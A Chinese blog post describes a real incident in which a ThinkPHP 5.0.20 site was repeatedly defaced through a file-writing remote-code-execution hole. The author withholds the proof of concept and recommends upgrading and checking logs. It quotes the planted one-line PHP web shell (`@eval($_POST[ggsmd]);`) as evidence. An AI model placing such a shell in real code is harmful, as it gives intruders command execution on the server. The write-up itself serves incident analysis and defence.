真实黑客案例:thinkphp5网站一键变肉鸡
发布于 作者:苏南大叔 来源:程序如此灵动~本篇文章中,苏南大叔将要描述一个真实案例:黑客不知道通过什么方式,一直修改某公司的专题页面内容。某公司的运维大哥,急得头发都白了,连续N次被黑,饭碗马上就不保了。出于为兄弟排难解忧的目的,苏南大叔只好出马为他排查代码漏洞。
拿到的这份代码就是基于thinkphp@5.0.20
的,而且默认开启了thinkphp
的log
日志功能。那么,最终的线索也就是从这里发现的。本来以为是老版本的漏洞呢,结果thinkphp@5.0.20
这么新的版本里面,都存在着这么大的漏洞,真心是惊出一身冷汗啊。
漏洞描述
据运维兄弟描述,网站的根目录下面定期会生成一个名为xxx.php
的文件,并且这个奇怪的.php
文件打开之后,就是一个非常典型的一句话木马。
@eval($_POST[ggsmd]);
漏洞分析
该漏洞通过构造一个特殊的url
,会触发thinkphp
的文件生成功能。而通过这个特殊url
的参数,来控制生成文件的名称及内容。由于涉及的thinkphp
是最新的thinkphp5
系列,那么,这个漏洞的危害程度真的很大。在苏南大叔的测试下,截至到发稿,最新的thinkphp@5.0.24
中,并不存在这个漏洞,目前已知会影响的版本为:5.0.20
。
出问题的文件是:thinkphp/library/think/App.php
:
由于危害性比较大,这里苏南大叔就不展示完整的poc
了。
其实这个漏洞不光是可以用来生成个木马,可以用于执行任何已经存在的php
函数。所以,危害是非常大的。
防御方案
升级thinkphp
版本到最新的5.0.24
,目前可以暂时避免受到这个漏洞的波及。以thinkphp
在国内的影响力来说,基于thinkphp@5.0.20
的网站应该不在少数,而且不排除其它版本的thinkphp5
也存在着类似的漏洞。所以,大家还是马上行动起来,防患于未然吧。
如何查看thinkphp
版本号
那么问题来了,如何查看自己的thinkphp
的版本号呢?不难,打印一下常量THINK_VERSION
即可。
或者直接去thinkphp/base.php
文件中查看一下即可。
这个定义的位置随着版本号不同而变化,所以,这里并非唯一答案。
相关文章
- https://www.kancloud.cn/manual/thinkphp5/118011
- https://newsn.net/say/ctf-upload-phar.html
- https://newsn.net/say/php-disable-eval.html
总结
虽然为运维找到了漏洞所在,不过他们还是仅仅通过修改权限的办法暂时做了处理,话说这漏洞可是可以执行任何函数的啊。人家不生成文件,就不能执行别的函数了么... 治标不治本啊...
不过目前,阿里云也会智能检测到异常请求,自动封锁IP,不过一样治标不治本。
其实,本文的主要内容,是通过查看thinkphp
的log
文件,苏南大叔在访客记录功能中发现这个非常邪门的入侵方式的。所以,站点日志还是比较有用的,对吧?更多thinkphp
文章,请点击苏南大叔的博客:
本博客不欢迎:各种镜像采集行为。请尊重原创文章内容,转载请保留作者链接。
牛蛙
烙铁666
大叔威武
学习一下
评论可见
前来学习
看看啊看看
学习下 大佬
立刻开口打破0评论
强大,学习一下
学习下
留个言
打破0评论